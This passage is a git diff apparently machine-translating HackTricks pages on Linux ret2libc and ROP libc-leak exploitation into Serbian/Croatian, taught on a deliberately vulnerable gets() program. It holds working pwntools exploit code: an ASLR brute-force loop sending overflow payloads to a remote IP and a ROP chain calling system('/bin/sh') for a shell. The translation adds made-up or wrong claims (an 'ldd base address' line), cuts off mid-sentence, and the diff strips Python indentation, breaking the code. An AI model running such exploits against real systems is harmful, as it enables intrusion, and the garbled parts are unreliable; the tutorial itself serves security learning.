can use the `objdump` command to analyze the library file. We need to find the address of the system function within the libc library. We can search for the system function using the `grep` command and the pattern `\`. This will give us the address of the system function. + +With the address of the system function, we can calculate the offset by subtracting the base address of the libc library. The base address can be obtained by running the `ldd` command followed by the path to the libc library and looking for the "base address" line. + +By subtracting the base address from the address of the system function, we can obtain the offset. This offset can be used in various exploitation techniques, such as return-to-libc attacks. ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` +## Dobijanje ofseta "/bin/sh" -## Get offset of "/bin/sh" +Da biste dobili ofset "/bin/sh" u ciljnom programu, možete koristiti alat kao što je `pwntools` ili `ROPgadget`. Ovi alati vam omogućavaju da pronađete ofsete određenih stringova u bibliotekama koje su učitane u ciljni program. +Evo primera koda koji koristi `pwntools` biblioteku za dobijanje ofseta "/bin/sh": + +```python +from pwn import * + +elf = ELF('target_binary') +bin_sh_offset = next(elf.search(b'/bin/sh')) + +print(f'Offset of "/bin/sh": {hex(bin_sh_offset)}') +``` + +Nakon izvršavanja ovog koda, dobićete ofset "/bin/sh" u heksadecimalnom formatu. ```bash strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` - ## /proc/\/maps -If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root). +Ako proces svaki put kada komunicirate s njim (mrežni server) stvara **djecu**, pokušajte **pročitati** tu datoteku (vjerojatno će vam trebati root pristup). -Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process. +Ovdje možete pronaći **točno gdje je učitan libc** unutar procesa i **gdje će biti učitan** za svako dijete procesa. ![](<../../.gitbook/assets/image (95).png>) -In this case it is loaded in **0xb75dc000** (This will be the base address of libc) +U ovom slučaju je učitan na adresi **0xb75dc000** (Ovo će biti bazna adresa libc-a) -## Using gdb-peda - -Get address of **system** function, of **exit** function and of the string **"/bin/sh"** using gdb-peda: +## Korištenje gdb-peda +Dobijte adresu funkcije **system**, funkcije **exit** i stringa **"/bin/sh"** koristeći gdb-peda: ``` p system p exit find "/bin/sh" ``` +# Zaobilazak ASLR-a -# Bypassing ASLR - -You can try to bruteforce the abse address of libc. - +Možete pokušati da brute force-ujete baznu adresu libc-a. ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - -# Code - +# Kod ```python from pwn import * @@ -80,28 +90,24 @@ c = remote('192.168.85.181',20002) c.recvline() #Banner for off in range(0xb7000000, 0xb8000000, 0x1000): - p = "" - p += p32(off + 0x0003cb20) #system - p += "CCCC" #GARBAGE - p += p32(off + 0x001388da) #/bin/sh - payload = 'A'*0x20010 + p - c.send(payload) - c.interactive() #? +p = "" +p += p32(off + 0x0003cb20) #system +p += "CCCC" #GARBAGE +p += p32(off + 0x001388da) #/bin/sh +payload = 'A'*0x20010 + p +c.send(payload) +c.interactive() #? ``` - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md index 5794ccb23..6aff490d3 100644 --- a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md +++ b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md @@ -1,98 +1,89 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-# Quick Resume +# Brzi rezime -1. **Find** overflow **offset** -2. **Find** `POP_RDI`, `PUTS_PLT` and `MAIN_PLT` gadgets -3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me)) -4. With the library, **calculate the ROP and exploit it** +1. **Pronađite** offset **prelivanja** +2. **Pronađite** `POP_RDI`, `PUTS_PLT` i `MAIN_PLT` gadžete +3. Koristite prethodne gadžete da **procurite adresu memorije** puts ili neke druge libc funkcije i **pronađete verziju libc-a** ([preuzmite je](https://libc.blukat.me)) +4. Sa bibliotekom, **izračunajte ROP i iskoristite ga** -# Other tutorials and binaries to practice +# Ostali tutorijali i binarni fajlovi za vežbanje -This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ -Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html) +Ovaj tutorijal će iskoristiti kod/binarni fajl koji je predložen u ovom tutorijalu: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ +Još korisnih tutorijala: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html) -# Code - -Filename: `vuln.c` +# Kod +Naziv fajla: `vuln.c` ```c #include int main() { - char buffer[32]; - puts("Simple ROP.\n"); - gets(buffer); +char buffer[32]; +puts("Simple ROP.\n"); +gets(buffer); - return 0; +return 0; } ``` ```bash gcc -o vuln vuln.c -fno-stack-protector -no-pie ``` +# ROP - Curenje LIBC šablona -# ROP - Leaking LIBC template - -I'm going to use the code located here to make the exploit.\ -Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script: +Koristiću kod koji se nalazi ovde da napravim eksploit.\ +Preuzmite eksploit i smestite ga u isti direktorijum kao i ranjivi binarni fajl i dajte potrebne podatke skripti: {% content-ref url="rop-leaking-libc-template.md" %} [rop-leaking-libc-template.md](rop-leaking-libc-template.md) {% endcontent-ref %} -# 1- Finding the offset - -The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`): +# 1- Pronalaženje ofseta +Šablonu je potreban ofset pre nego što nastavi sa eksploatacijom. Ako nije pružen, izvršiće potreban kod za pronalaženje ofseta (podrazumevano `OFFSET = ""`): ```bash ################### ### Find offset ### ################### OFFSET = ""#"A"*72 if OFFSET == "": - gdb.attach(p.pid, "c") #Attach and continue - payload = cyclic(1000) - print(r.clean()) - r.sendline(payload) - #x/wx $rsp -- Search for bytes that crashed the application - #cyclic_find(0x6161616b) # Find the offset of those bytes - return +gdb.attach(p.pid, "c") #Attach and continue +payload = cyclic(1000) +print(r.clean()) +r.sendline(payload) +#x/wx $rsp -- Search for bytes that crashed the application +#cyclic_find(0x6161616b) # Find the offset of those bytes +return ``` - -**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console: - +**Izvršite** `python template.py` otvoriće se GDB konzola sa programom koji je pao. Unutar te **GDB konzole** izvršite `x/wx $rsp` da biste dobili **bajtove** koji će prepisati RIP. Na kraju, dobijte **pomak** koristeći **python** konzolu: ```python from pwn import * cyclic_find(0x6161616b) ``` - ![](<../../../.gitbook/assets/image (140).png>) -After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\ +Nakon pronalaženja ofseta (u ovom slučaju 40), promenite vrednost OFFSET promenljive unutar šablona koristeći tu vrednost.\ `OFFSET = "A" * 40` -Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF. +Još jedan način je korišćenje: `pattern create 1000` -- _izvrši do ret_ -- `pattern search $rsp` iz GEF. -# 2- Finding Gadgets - -Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**. +# 2- Pronalaženje Gadžeta +Sada trebamo pronaći ROP gadžete unutar binarnog fajla. Ovi ROP gadžeti će biti korisni za pozivanje `puts` funkcije kako bismo pronašli **libc** koji se koristi, a kasnije i za **pokretanje konačnog napada**. ```python PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts MAIN_PLT = elf.symbols['main'] @@ -103,108 +94,98 @@ log.info("Main start: " + hex(MAIN_PLT)) log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` +`PUTS_PLT` je potreban da bi se pozvala **funkcija puts**.\ +`MAIN_PLT` je potreban da bi se ponovo pozvala **glavna funkcija** nakon jedne interakcije kako bi se **iskoristio** prekoračenje **ponovo** (beskonačni krugovi iskorišćavanja). **Koristi se na kraju svakog ROP-a da bi se program ponovo pozvao**.\ +**POP\_RDI** je potreban da bi se **prosledio** parametar pozvanoj funkciji. -The `PUTS_PLT` is needed to call the **function puts**.\ -The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\ -The **POP\_RDI** is needed to **pass** a **parameter** to the called function. +U ovom koraku nije potrebno izvršiti ništa, jer će pwntools pronaći sve tokom izvršavanja. -In this step you don't need to execute anything as everything will be found by pwntools during the execution. - -# 3- Finding LIBC library - -Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address. +# 3- Pronalaženje LIBC biblioteke +Sada je vreme da se pronađe koja verzija **libc** biblioteke se koristi. Da bismo to uradili, treba da **procurimo** **adresu** u memoriji funkcije `puts`, a zatim ćemo **pretražiti** u kojoj **verziji biblioteke** se nalazi ta verzija puts funkcije. ```python def get_addr(func_name): - FUNC_GOT = elf.got[func_name] - log.info(func_name + " GOT @ " + hex(FUNC_GOT)) - # Create rop chain - rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) +FUNC_GOT = elf.got[func_name] +log.info(func_name + " GOT @ " + hex(FUNC_GOT)) +# Create rop chain +rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - #Send our rop-chain payload - #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment - print(p.clean()) # clean socket buffer (read all and print) - p.sendline(rop1) +#Send our rop-chain payload +#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment +print(p.clean()) # clean socket buffer (read all and print) +p.sendline(rop1) - #Parse leaked address - recieved = p.recvline().strip() - leak = u64(recieved.ljust(8, "\x00")) - log.info("Leaked libc address, "+func_name+": "+ hex(leak)) - #If not libc yet, stop here - if libc != "": - libc.address = leak - libc.symbols[func_name] #Save libc base - log.info("libc base @ %s" % hex(libc.address)) - - return hex(leak) +#Parse leaked address +recieved = p.recvline().strip() +leak = u64(recieved.ljust(8, "\x00")) +log.info("Leaked libc address, "+func_name+": "+ hex(leak)) +#If not libc yet, stop here +if libc != "": +libc.address = leak - libc.symbols[func_name] #Save libc base +log.info("libc base @ %s" % hex(libc.address)) + +return hex(leak) get_addr("puts") #Search for puts address in memmory to obtains libc base if libc == "": - print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") - p.interactive() +print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") +p.interactive() ``` - -To do so, the most important line of the executed code is: - +Da biste to postigli, najvažnija linija izvršenog koda je: ```python rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` +Ovo će poslati nekoliko bajtova dok nije moguće **prepisivanje** **RIP**-a: `OFFSET`.\ +Zatim će postaviti **adresu** gadgeta `POP_RDI` tako da će sledeća adresa (`FUNC_GOT`) biti sačuvana u registru **RDI**. To je zato što želimo da **pozovemo puts** i prosledimo mu **adresu** `PUTS_GOT` kao adresu u memoriji puts funkcije koja je sačuvana na adresi koju pokazuje `PUTS_GOT`.\ +Nakon toga, pozvaće se `PUTS_PLT` (sa `PUTS_GOT` unutar registra **RDI**) tako da će puts **pročitati sadržaj** unutar `PUTS_GOT` (**adresu puts funkcije u memoriji**) i **ispisati je**.\ +Na kraju, ponovo se poziva **glavna funkcija** kako bismo mogli ponovo iskoristiti prekoračenje. -This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\ -Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\ -After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\ -Finally, **main function is called again** so we can exploit the overflow again. - -This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**. +Na ovaj način smo **prevarili puts funkciju** da **ispise** adresu funkcije **puts** (koja se nalazi u **libc** biblioteci) u **memoriji**. Sada kada imamo tu adresu, možemo **proveriti koja verzija libc-a se koristi**. ![](<../../../.gitbook/assets/image (141).png>) -As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\ -But, in a remote exploit case I will explain here how can you find it: +Kako **eksploatišemo** lokalni binarni fajl, **nije potrebno** utvrditi koja verzija **libc**-a se koristi (samo pronađite biblioteku u `/lib/x86_64-linux-gnu/libc.so.6`).\ +Ali, u slučaju udaljenog napada, objasniću kako to možete pronaći ovde: -## 3.1- Searching for libc version (1) +## 3.1- Pretraga verzije libc-a (1) -You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\ -It will also allow you to download the discovered version of **libc** +Možete pretražiti koja biblioteka se koristi na veb stranici: [https://libc.blukat.me/](https://libc.blukat.me)\ +Takođe će vam omogućiti da preuzmete otkrivenu verziju **libc**-a. ![](<../../../.gitbook/assets/image (142).png>) -## 3.2- Searching for libc version (2) +## 3.2- Pretraga verzije libc-a (2) -You can also do: +Takođe možete uraditi sledeće: * `$ git clone https://github.com/niklasb/libc-database.git` * `$ cd libc-database` * `$ ./get` -This will take some time, be patient.\ -For this to work we need: +Ovo će potrajati neko vreme, budite strpljivi.\ +Da biste to uradili, potrebno nam je: -* Libc symbol name: `puts` -* Leaked libc adddress: `0x7ff629878690` - -We can figure out which **libc** that is most likely used. +* Ime simbola libc-a: `puts` +* Procurena adresa libc-a: `0x7ff629878690` +Možemo zaključiti koja je **libc** najverovatnije korišćena. ``` ./find puts 0x7ff629878690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) ``` - -We get 2 matches (you should try the second one if the first one is not working). Download the first one: - +Dobijamo 2 podudaranja (trebali biste isprobati drugo ako prvo ne radi). Preuzmite prvi: ``` ./download libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64 - -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb - -> Downloading package - -> Extracting package - -> Package saved to libs/libc6_2.23-0ubuntu10_amd64 +-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb +-> Downloading package +-> Extracting package +-> Package saved to libs/libc6_2.23-0ubuntu10_amd64 ``` +Kopirajte libc sa `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` u naš radni direktorijum. -Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory. - -## 3.3- Other functions to leak - +## 3.3- Ostale funkcije za otkrivanje podataka ```python puts printf @@ -212,29 +193,25 @@ __libc_start_main read gets ``` +# 4- Pronalaženje adrese libc biblioteke i iskorišćavanje -# 4- Finding based libc address & exploiting +U ovom trenutku trebali bismo znati koju libc biblioteku koristimo. Pošto iskorišćavamo lokalni binarni fajl, koristiću samo: `/lib/x86_64-linux-gnu/libc.so.6` -At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6` +Dakle, na početku `template.py` fajla promenite vrednost **libc** promenljive na: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Postavite putanju do biblioteke kada je poznata` -So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` - -Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**. - -Inside the `get_addr`function the **base address of libc** is going to be calculated: +Davanjem **putanje** do **libc biblioteke**, ostatak **iskorišćavanja će biti automatski izračunat**. +Unutar `get_addr` funkcije će biti izračunata **bazna adresa libc biblioteke**: ```python if libc != "": - libc.address = leak - libc.symbols[func_name] #Save libc base - log.info("libc base @ %s" % hex(libc.address)) +libc.address = leak - libc.symbols[func_name] #Save libc base +log.info("libc base @ %s" % hex(libc.address)) ``` - {% hint style="info" %} -Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library. +Imajte na umu da **konačna adresa osnovne libc biblioteke mora završavati sa 00**. Ako to nije slučaj, možda ste otkrili netačnu biblioteku. {% endhint %} -Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.** - +Zatim, adresa funkcije `system` i adresa stringa _"/bin/sh"_ će biti **izračunate** na osnovu **osnovne adrese libc biblioteke** i date **libc biblioteke**. ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] @@ -243,9 +220,7 @@ EXIT = libc.sym["exit"] log.info("bin/sh %s " % hex(BINSH)) log.info("system %s " % hex(SYSTEM)) ``` - -Finally, the /bin/sh execution exploit is going to be prepared sent: - +Konačno, pripremaće se i slati eksploit za izvršavanje /bin/sh: ```python rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) @@ -255,80 +230,68 @@ p.sendline(rop2) #### Interact with the shell ##### p.interactive() #Interact with the conenction ``` +Objasnićemo ovaj poslednji ROP. +Poslednji ROP (`rop1`) završava pozivom funkcije main, zatim možemo **ponovo iskoristiti** **prekoračenje** (zato je `OFFSET` ponovo ovde). Zatim želimo da pozovemo `POP_RDI` koji pokazuje na **adresu** "/bin/sh" (`BINSH`) i pozovemo funkciju **system** (`SYSTEM`) jer će adresa "/bin/sh" biti prosleđena kao parametar. +Na kraju, **poziva se adresa funkcije exit** tako da proces **lepo završava** i ne generiše se nikakvo upozorenje. -Let's explain this final ROP.\ -The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\ -Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated. - -**This way the exploit will execute a **_**/bin/sh**_** shell.** +**Na ovaj način će eksploit izvršiti **_**/bin/sh**_** shell.** ![](<../../../.gitbook/assets/image (143).png>) -# 4(2)- Using ONE\_GADGET +# 4(2)- Korišćenje ONE\_GADGET -You could also use [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE\_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**. \ -However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. +Takođe možete koristiti [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget) da biste dobili shell umesto korišćenja **system** i **"/bin/sh". ONE\_GADGET** će pronaći unutar libc biblioteke način da se dobije shell koristeći samo jednu **ROP adresu**. +Međutim, obično postoje neka ograničenja, najčešća i najlakša za izbegavanje su kao što je `[rsp+0x30] == NULL`. Pošto kontrolišete vrednosti unutar **RSP**, samo treba da pošaljete još nekoliko NULL vrednosti kako bi se ograničenje izbeglo. ![](<../../../.gitbook/assets/image (615).png>) - ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` +# EXPLOIT FAJL -# EXPLOIT FILE - -You can find a template to exploit this vulnerability here: +Ovde možete pronaći šablon za iskorišćavanje ove ranjivosti: {% content-ref url="rop-leaking-libc-template.md" %} [rop-leaking-libc-template.md](rop-leaking-libc-template.md) {% endcontent-ref %} -# Common problems +# Uobičajeni problemi -## MAIN\_PLT = elf.symbols\['main'] not found - -If the "main" symbol does not exist. Then you can just where is the main code: +## MAIN\_PLT = elf.symbols\['main'] nije pronađen +Ako simbol "main" ne postoji, možete proveriti gde se nalazi glavni kod: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` - -and set the address manually: - +i postavite adresu ručno: ```python MAIN_PLT = 0x401080 ``` +## Puts nije pronađen -## Puts not found - -If the binary is not using Puts you should check if it is using +Ako binarna datoteka ne koristi Puts, trebali biste provjeriti koristi li ## `sh: 1: %s%s%s%s%s%s%s%s: not found` -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Try to **subtract 64 bytes to the address of "/bin/sh"**: +Ako pronađete ovu **grešku** nakon što ste stvorili **sve** eksploate: `sh: 1: %s%s%s%s%s%s%s%s: not found` +Pokušajte **oduzeti 64 bajta od adrese "/bin/sh"**: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md index d759fbff5..9492abb09 100644 --- a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md +++ b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md @@ -1,16 +1,14 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
